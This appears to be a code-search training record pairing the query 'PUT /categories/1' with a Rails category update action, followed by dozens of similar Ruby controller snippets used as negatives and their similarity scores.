"def create\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render action: 'show', status: :created, location: @category }\n else\n format.html { render action: 'new' }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n # @category = Category.new(params[:category])\n @category = current_user.categories.build(params[:category])\n\n respond_to do |format|\n if @category.save\n # format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.html { redirect_to categories_path, notice: 'Pomyślnie utworzono kategorię.' }\n format.json { render json: @category, status: :created, location: @category }\n else\n # format.html { render action: \"new\" }\n format.html { redirect_to categories_path, :flash => { :error => 'Nie udało się utworzyć kategorii' } }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_category\n @category = TestCategory.new(params[:category])\n @category.save\n @categories = TestCategory.find(:all)\n redraw 'categories'\n end",
"def GetCategories params = {}\n\n params = params.merge(path: 'categories.json')\n APICall(params)\n\n end",
"def index\n categories = Category.all\n render json:categories\n end",
"def create\n @categories = Category.all\n\n @category = Category.create(category_params)\n flash[:notice]=\"Catégorie créer avec succès!!!\"\n end",
"def create\n @categories = Category.where(validity: true)\n @category = Category.new(params[:category])\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: t(:category_created) }\n format.json { render json: @category, status: :created, location: @category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @categor = Categor.new(categor_params)\n\n respond_to do |format|\n if @categor.save\n format.html { redirect_to @categor, notice: 'Categor was successfully created.' }\n format.json { render :show, status: :created, location: @categor }\n else\n format.html { render :new }\n format.json { render json: @categor.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @incidentcategory = Incidentcategory.new(incidentcategory_params)\n\n if @incidentcategory.save\n json_response(@incidentcategory)\n else\n render json: @incidentcategory.errors, status: :unprocessable_entity\n end\n end",
"def create\r\n @category = Category.new(categories_params)\r\n\r\n respond_to do |format|\r\n if @category.save\r\n format.html { redirect_to articles_path, notice: 'Profile was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: 'new' }\r\n format.json { render json: @category.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def create\n\t\t@cat = Cat.new(cat_params)\n\n\t\tif @cat.save\n\t\t\t# cat_url(@cat) == /cat/{@cat.id}\n\t\t\tredirect_to cat_url(@cat)\n\t\telse\n\t\t\trender :new\n\t\t\t# render json: @cat.errors.full_messages, status: :unprocessable_entity\n\t\tend \n\tend",
"def create\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render :show, status: :created, location: @category }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @categorization = Categorization.new(params[:categorization])\n @categories = category_list\n respond_to do |format|\n if @categorization.save\n format.html { redirect_to(admin_categorization_path(@categorization), :notice => 'Categorization was successfully created.') }\n format.xml { render :xml => @categorization, :status => :created, :location => @categorization }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @categorization.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @category = Category.new(category_params)\n respond_to do |format|\n if @category.save\n format.html { redirect_to categories_path, notice: 'Категория была успешно создана'}\n format.json { render :show, status: :created, location: @category }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to root_path, notice: 'Category was successfully created.' }\n format.json { render :show, status: :created, location: @category }\n else\n flash.alert = @category.errors.full_messages\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @category = Category.create(params[:category])\n \n if @category.save\n redirect_to categories_path\n else\n render 'new'\n end\n \n end",
"def create\n @category = PostCategory.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to cm_post_categories_url, notice: 'PostCategory was successfully created.' }\n format.json { render action: 'show', status: :created, location: @category }\n else\n format.html { render action: 'new' }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n categories = @vertical.catgories.order('created_at DESC');\n render json: {status: 'SUCCESS', message:'Loaded categories', data:categories},status: :ok\n end",
"def create\n admins_only do\n @category = Category.new(category_params)\n @category.name = params[:category][:name].to_s.camelcase\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to category_index_path, notice: 'Category was successfully created.' }\n format.json { render action: 'index', status: :created, location: @category }\n else\n format.html { render action: 'new' }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def create\n if params[:categoria_producto]\n p = Producto.find(params[:producto_id])\n c = Categoria.find(params[:categoria_id])\n\n if p.categorias << c\n render json: c, status: :created\n else\n render json: {:errors => {categoria: [\"No se ha podido agregar categoria\"]}}, status: :unprocessable_entity\n end\n\n else\n @categoria = Categoria.new(parametros_categoria)\n\n if @categoria.save\n render json: @categoria, status: :created\n else\n render json: @categoria.errors, status: :unprocessable_entity\n end\n end\n end",
"def modify_category(categories)\n begin\n puts Rainbow(\"Current categories: #{categories.join(', ')}\").whitesmoke\n yield\n\n write_json(categories, \"Categories/cat\", \"Available categories are: #{categories.join(', ')}\")\n rescue StandardError\n puts \"There are no categories to delete\"\n end\nend",
"def create\n @cat = Cat.new(params[:cat])\n\n respond_to do |format|\n if @cat.save\n format.html { redirect_to @cat, notice: 'Cat was successfully created.' }\n format.json { render json: @cat, status: :created, location: @cat }\n else\n format.html { render action: \"new\" }\n format.json { render json: @cat.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @category = Category.new(category_params)\n respond_to do |format|\n if @category.save\n format.html { redirect_to adminpanel_categories_path, notice: \"Категория #{@category.name} успешно создана\" }\n format.json { render :show, status: :created, location: adminpanel_categories_path }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to edit_dashboard_category_path(@category), notice: 'Category was successfully created.' }\n format.json { render :show, status: :created, location: @category }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to admin_category_path(@category), notice: 'Category was successfully created.' }\n format.json { render action: 'show', status: :created, location: @category }\n else\n format.html { render action: 'new' }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create \n\n user = User.find(@user_id)\n post = user.posts.build(params_post)\n \n category = Category.find_by_id(params[:category])\n return render json: { error: \"Category not found\"}, status: 404 if category.nil?\n \n post.category = category\n \n \n if post.save\n render json: post, status: :created\n else \n render json: post.errors, status: :unprocessable_entity\n end\n end",
"def create\n @category = Category.new(category_params)\n @category.user_id = current_user.id\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: t('create.notice', name: t('activerecord.models.category')) }\n format.json { render :show, status: :created, location: @category }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user = current_user\n @category = Category.new(params[:category])\n @user.categories << @category\n #TODO: error handling\n #TODO: AJAX this\n if @user.save\n redirect_to user_path(@user)\n else\n render \"new\"\n end\n end",
"def create\n @post_category = current_user.post_categories.build(params[:post_category])\n\n respond_to do |format|\n if @post_category.save\n format.html { redirect_to [:client,:post_categories], notice: 'Post category was successfully created.' }\n format.json { render json: @post_category, status: :created, location: @post_category }\n else\n format.html { render action: \"index\" }\n format.json { render json: @post_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @recipe_category = RecipeCategory.new(params[:recipe_category])\n\n respond_to do |format|\n if @recipe_category.save\n format.html { redirect_to @recipe_category, notice: 'Recipe category was successfully created.' }\n format.json { render json: @recipe_category, status: :created, location: @recipe_category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @recipe_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @category = Category.new(params[:category])\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to categories_url, notice: 'Category was successfully created.' }\n end\n end\n end",
"def create\n @category_form_url = forum_categories_path\n respond_to do |format|\n if @category.save\n format.html { redirect_to @category, notice: 'Category was successfully created.' }\n format.json { render action: 'show', status: :created, location: @category }\n else\n format.html { render action: 'new' }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n \n @categorias_tipo = CatTipo.new(params[:cat_tipo])\n\n\t\trespond_to do |format|\n\t\t\tif @categorias_tipo.save\n \t\t\tcategories = @categorias_tipo.update_attributes(:tipo_acc_ids =>params[:tipo_accs])\n\t\t\t\t@categorias_tipo.update_attributes(:estado_ids =>params[:estados])\n\t\t\t\t\n\t\t\t\n\n format.html { redirect_to cat_tipos_path, notice: 'OK' }\n format.json { render json: @categorias_tipo, status: :created, location: @categorias_tipo }\n\t\t\telse\n format.html { render action: \"new\" }\n format.json { render json: @categorias_tipo.errors, status: :unprocessable_entity }\n \tend\t\n\t\tend\n\tend",
"def create\n @category = Category.new(params[:category])\n @category.category_group_id ||= params[:category_group_id]\n\n respond_to do |format|\n if @category.save\n save_curated_items(@category)\n format.html { redirect_to(categories_path, notice: 'Category was successfully created.') }\n format.json { render json: @category, status: :created, location: @category }\n else\n set_flash_messages_from_errors(@category)\n format.html { render action: \"new\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @taxonomy_category = TaxonomyCategory.new(params[:taxonomy_category])\n\n respond_to do |format|\n if @taxonomy_category.save\n format.html { redirect_to @taxonomy_category, notice: 'Taxonomy category was successfully created.' }\n format.json { render json: @taxonomy_category, status: :created, location: @taxonomy_category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @taxonomy_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @category = Category.new(params[:category])\n\n if @category.save\n flash[:notice] = 'Categoria criada com sucesso.'\n else\n flash[:notice] = 'Erro ao salvar a categoria.'\n end\n\n # respond_to do |format|\n # if @category.save\n # format.html { redirect_to categories_path}\n # format.json { render json: @category, status: :created, location: @category }\n # else\n # format.html { render action: \"new\" }\n # format.json { render json: @category.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"def create\n @category = Category.new(category_params)\n\n\n begin\n Category.transaction do # un ActiveRecord\n #@full_category.each do |f|\n #Category.create(f)\n #f.save!\n #end\n @category.save!\n end\n #Código de éxito\n rescue => e\n raise ActiveRecord::Rollback #Lanzamos el rollback de nuevo a saco\n #Seguimos con las acciones que queramos, como notificar, etc.\n end\n\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to api_v1_category_path(@category), notice: 'Category was successfully created.' }\n format.json { render :show, status: :created, location: @category }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n category = Documents::Category.create(category_params)\n if category.save\n redirect_to categories_path\n else\n redirect_to categories_path, alert: I18n.t('admin.categories.validation_error')\n end\n end",
"def categories\n # @categories = Category.get_categories(@user.id)\n #@categories =Category.all.select(:id).select(:name).select(:description).select(:logo_url)\n @categories =Category.all\n user_cat= @user.categories.collect(&:id)\n categories = []\n @categories.each do |cat|\n cat_attr = cat.attributes\n user_cat.include?(cat.id) ? cat_attr.merge!('user_category' => true) : cat_attr.merge!('user_category' => false)\n categories << cat_attr\n end\n @categories = categories\n\n respond_to do |format|\n if @categories.blank?\n format.json {render json:{:success => false, :status_code => 404, :message => \"No category found\"}}\n format.xml {render xml:{:success => false, :status_code => 404, :message => \"No category found\"}}\n format.html {render json: {:success => false, :status_code => 404, :message => \"No category found\"}}\n else\n format.html {render json: {:success => true, :status_code => 200, :categories => @categories}}\n format.json {render json: {:success => true, :status_code => 200, :categories => @categories}}\n format.xml {render xml: {:success => true, :status_code => 200, :categories => @categories}}\n end\n end\n end",
"def create_category_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: CategoriesApi.create_category ...\"\n end\n # resource path\n local_var_path = \"/categories\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'category'])\n auth_names = ['oauth2_client_credentials_grant', 'oauth2_password_grant']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'CategoryResource')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: CategoriesApi#create_category\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def create\n @category = Category.new(params[:category])\n @title = \"Neue Kategorie erstellen\"\n respond_to do |format|\n if @category.save\n format.html { redirect_to categories_path, notice: 'Category was successfully created.' }\n format.json { render json: @category, status: :created, location: @category }\n else\n format.html { render action: \"new\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @category = CategoryService.create(category_params)\n\n respond_to do |format|\n unless @category.errors.any?\n format.html { redirect_to backoffice_categories_path,\n notice: notification_alert('success', 'Created!', \"Category [#{@category.description}] was successfully created.\") \n }\n format.json { render :show, status: :created, location: @category }\n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @mk_categoria = MkCategoria.new(mk_categoria_params)\n\n respond_to do |format|\n if @mk_categoria.save\n format.html { redirect_to @mk_categoria, notice: 'Mk categoria was successfully created.' }\n format.json { render :show, status: :created, location: @mk_categoria }\n else\n format.html { render :new }\n format.json { render json: @mk_categoria.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @category = Category.new(category_params)\n\n respond_to do |format|\n if @category.save\n format.html { redirect_to [:admin, @category], notice: t('messages.created', model:Category.model_name.human) }\n format.json { render action: 'show', status: :created, location: @category }\n else\n format.html { render action: 'new' }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @admin_category = Admin::Category.new(admin_category_params)\n\n respond_to do |format|\n if @admin_category.save\n format.html { redirect_to admin_categories_url }\n format.json { render :show, status: :created, location: @admin_category }\n else\n format.html { render :new }\n format.json { render json: @admin_category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def categories=(value)\n @categories = value\n end",
"def get_subcategories\r\n sub_categories = Taxonomy.get_subcategories\r\n render json: sub_categories, root: 'categories', adapter: :json, status: :ok\r\n end"
] | [
"0.77381927",
"0.74330735",
"0.7234303",
"0.71620107",
"0.7123316",
"0.70633465",
"0.7054235",
"0.6957395",
"0.6956477",
"0.6904152",
"0.68380356",
"0.682139",
"0.68183225",
"0.6807698",
"0.67846733",
"0.6612181",
"0.65656227",
"0.6565445",
"0.65561736",
"0.6522468",
"0.6518503",
"0.65121335",
"0.6507326",
"0.6497365",
"0.6497365",
"0.6497365",
"0.6497365",
"0.6497365",
"0.64906216",
"0.648927",
"0.64767283",
"0.6472671",
"0.64693654",
"0.64556336",
"0.6438313",
"0.6436895",
"0.64217985",
"0.64187723",
"0.64187723",
"0.64187723",
"0.64187723",
"0.64187723",
"0.64187723",
"0.64187723",
"0.64187723",
"0.64187723",
"0.64187723",
"0.64187723",
"0.6399091",
"0.63871586",
"0.638352",
"0.6378804",
"0.6378742",
"0.63759696",
"0.63656896",
"0.6358122",
"0.63575375",
"0.63555396",
"0.63554496",
"0.63537234",
"0.6352861",
"0.634455",
"0.6340166",
"0.6304995",
"0.6303258",
"0.62979966",
"0.62869245",
"0.62840074",
"0.626909",
"0.62623",
"0.6261867",
"0.62569547",
"0.6254263",
"0.6244854",
"0.6244825",
"0.62376136",
"0.6229024",
"0.6224155",
"0.6219522",
"0.62174064",
"0.62100655",
"0.61979187",
"0.61972845",
"0.61968124",
"0.6195622",
"0.6190929",
"0.618476",
"0.6182791",
"0.61817545",
"0.6175391",
"0.6159619",
"0.61546046",
"0.61492723",
"0.6145468",
"0.6140553",
"0.6128431",
"0.61283463",
"0.61203265",
"0.61159796",
"0.6109307",
"0.6101482"
] | 0.0 | -1 |
PUT /categories/1 PUT /categories/1.json | def update
@category = Category.find(params[:id])
if @category.update_attributes(category_params)
flash[:notice] = 'Category was successfully updated.'
redirect_to categories_path
else
flash[:error] = @category.errors.full_messages
# format.js
render "edit"
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def UpdateCategory params = {}\n \n APICall(path: 'categories.json',method: 'PUT',payload: params.to_json)\n \n end",
"def update_categories(categories, options = {} )\n options.merge!(:docid => self.docid, :categories => categories)\n resp = @conn.put do |req|\n req.url \"categories\"\n req.body = options.to_json\n end\n\n resp.status \n end",
"def update\n json_update(category,category_params, Category)\n end",
"def putCategory( category_id, language, name)\n params = Hash.new\n params['category_id'] = category_id\n params['language'] = language\n params['name'] = name\n return doCurl(\"put\",\"/category\",params)\n end",
"def update\n if @category.update(category_params)\n render json: @category, status: :ok\n else\n render json: @category.errors, status: :unprocessable_entity\n end\n end",
"def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to api_v1_categories_path, notice: 'Category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @category.update(params[:category])\n head :no_content\n else\n render json: @category.errors, status: :unprocessable_entity\n end\n end",
"def update\n if @categoria.update(categoria_params)\n render json: @categoria\n else\n render json: @categoria.errors, status: :unprocessable_entity \n end\n end",
"def update\n @category = Category.find(params[:id])\n @category.update_attributes(params[:category])\n respond_with(@category, location: categories_url)\n end",
"def update\n update! {admin_categories_path}\n end",
"def update\n @headline = t(:update_category)\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to @category, notice: t(:updated_category_success) }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n unless @category.name == \"ROOT\"\n if @category.update(category_params)\n render 'show', :status => 200, :layout => false, notice: 'Category was successfully created.'\n else\n render :json => {:message => \"Error in updating category\"}, notice: @category.errors, :layout => false, :status => 400\n end\n else\n render :json => {:message => \"Root can't be edited.\"}, :layout => false, :status => 400\n end\n end",
"def update\n respond_to do |format|\n if @category.update(category_params)\n format.json { render :show, status: :ok, location: @category }\n else\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def editCat()\n if(!authenticateAdmin(params[:admin_id], params[:admin_auth_key]))\n render json: {status: false, reason: \"Authentication Failed\", data: \"\"}\n return\n end\n c = Category.find(params[:id])\n status = c.update(name: params[:name])\n error = \"\"\n if(c.errors.full_messages.count > 0)\n error = c.errors.full_messages[0]\n end\n render json: {status: status, reason: error, data: \"\"}\n end",
"def user_category_edit\n @user = User.where(contact: params[:contact]).first\n @user.categories.destroy_all\n params[:category_ids].each do |category|\n @user.user_categories.create!(category_id: category, user_id: @user.id)\n end\n render json: {status: \"SUCCESS\", message: \"user-categories\", data: \"categories updated\"}, status: :ok\n end",
"def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to api_v1_category_path(@category), notice: 'Category was successfully updated.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n category = Documents::Category.find(params[:id])\n category.update!(category_params)\n redirect_to categories_path\n end",
"def update_categories(cats=[])\n rescue_extra_data\n cats = cats.to_i\n old_categories = categories.pluck(\"#{CamaleonCms::TermTaxonomy.table_name}.id\")\n delete_categories = old_categories - cats\n news_categories = cats - old_categories\n term_relationships.where(\"term_taxonomy_id in (?)\", delete_categories ).destroy_all if delete_categories.present?\n news_categories.each do |key|\n term_relationships.create(:term_taxonomy_id => key)\n end\n update_counters(\"categories\")\n end",
"def update\n @category.update_attributes(params[:category])\n respond_with(@category)\n end",
"def update\n @category.update(category_params)\n end",
"def update!(**args)\n @categories = args[:categories] if args.key?(:categories)\n end",
"def update!(**args)\n @categories = args[:categories] if args.key?(:categories)\n end",
"def modify_category(categories)\n begin\n puts Rainbow(\"Current categories: #{categories.join(', ')}\").whitesmoke\n yield\n\n write_json(categories, \"Categories/cat\", \"Available categories are: #{categories.join(', ')}\")\n rescue StandardError\n puts \"There are no categories to delete\"\n end\nend",
"def set_category\n @categories = Category.find(params[:id])\n end",
"def update\n category= Category.find(params[:id])\n category.update(category_params)\n \n end",
"def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to @category, notice: t(:category_updated) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to @category, notice: t('update.notice', name: t('activerecord.models.category')) }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n Category.update(params[:category].keys, params[:category].values)\n\n redirect_to admin_ads_path\n end",
"def set_categories(ids)\n self.categories = Category.find(ids)\n self.save\n end",
"def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html {\n redirect_to @category, notice: 'Category was successfully updated.'\n }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json {\n render json: @category.errors, status: :unprocessable_entity\n }\n end\n end\n end",
"def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n #locates the category to be updated\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @category = current_mall.categories.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to management_categories_path }\n format.json { render json: @category, status: :ok }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(category_params)\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to categories_url, notice: 'Category was successfully updated.' }\n end\n end\n end",
"def update\n @cat = Cat.find(params[:id])\n\n respond_to do |format|\n if @cat.update_attributes(params[:cat])\n _update_topics \n format.html { redirect_to action: \"edit\", notice: 'Cat was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cat.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n # format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.html { redirect_to categories_path, notice: 'Pomyślnie zaktualizowano kategorię.' }\n format.json { head :no_content }\n else\n # format.html { render action: \"edit\" }\n format.html { redirect_to units_path, :flash => { :error => 'Nie udało się zaktualizować kategorii' } }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to @category, notice: 'Категория изменена.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @category = Category.find(params[:id])\n\n respond_to do |format|\n if @category.update_attributes(params[:category])\n format.html { redirect_to :back, notice: 'category was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @incidentcategory.update(incidentcategory_params)\n json_response(@incidentcategory)\n else\n render json: @incidentcategory.errors, status: :unprocessable_entity\n end\n end\n end",
"def update\n respond_to do |format|\n if @category.update_attributes(category_params)\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @category = Category.find(params[:id])\n\n path = admin_categories_path\n if @category.category_id\n path = admin_category_path(@category.category_id)\n end\n\n if @category.update(params[:category].permit(:name))\n redirect_to path\n end\n end",
"def create\n json_create(category_params, Category)\n end",
"def update\n @categoria = Categoria.find(params[:id])\n\n @categoria.update_attributes(params[:categoria])\n render :layout => false\n end",
"def update\n @cat = Cat.find(params[:id])\n\n respond_to do |format|\n if @cat.update_attributes(params[:cat])\n format.html { redirect_to @cat, notice: 'Cat was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cat.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to category_index_path, notice: 'Categorie was successfully updated.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @recipe = Recipe.find(params[:id])\n\n\n respond_to do |format|\n if @recipe.update_attributes(params[:recipe])\n format.html { redirect_to @recipe, notice: 'Recipe was successfully updated.' }\n format.json { head :no_content }\n else\n @categories=RecipeCategory.all\n format.html { render action: \"edit\" }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(request)\n if options[:multiple]\n cats = request.every(options[:category])\n cats.each do |cat|\n if cat || options[:nils]\n @categories[cat] ||= 0\n @categories[cat] += 1\n end \n end\n \n else\n cat = @categorizer.call(request)\n if cat || options[:nils]\n @categories[cat] ||= 0\n @categories[cat] += 1\n end\n end\n end",
"def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @category.update(category_params)\n format.html { redirect_to @category, notice: 'Category was successfully updated.' }\n format.json { render :show, status: :ok, location: @category }\n else\n format.html { render :edit }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end",
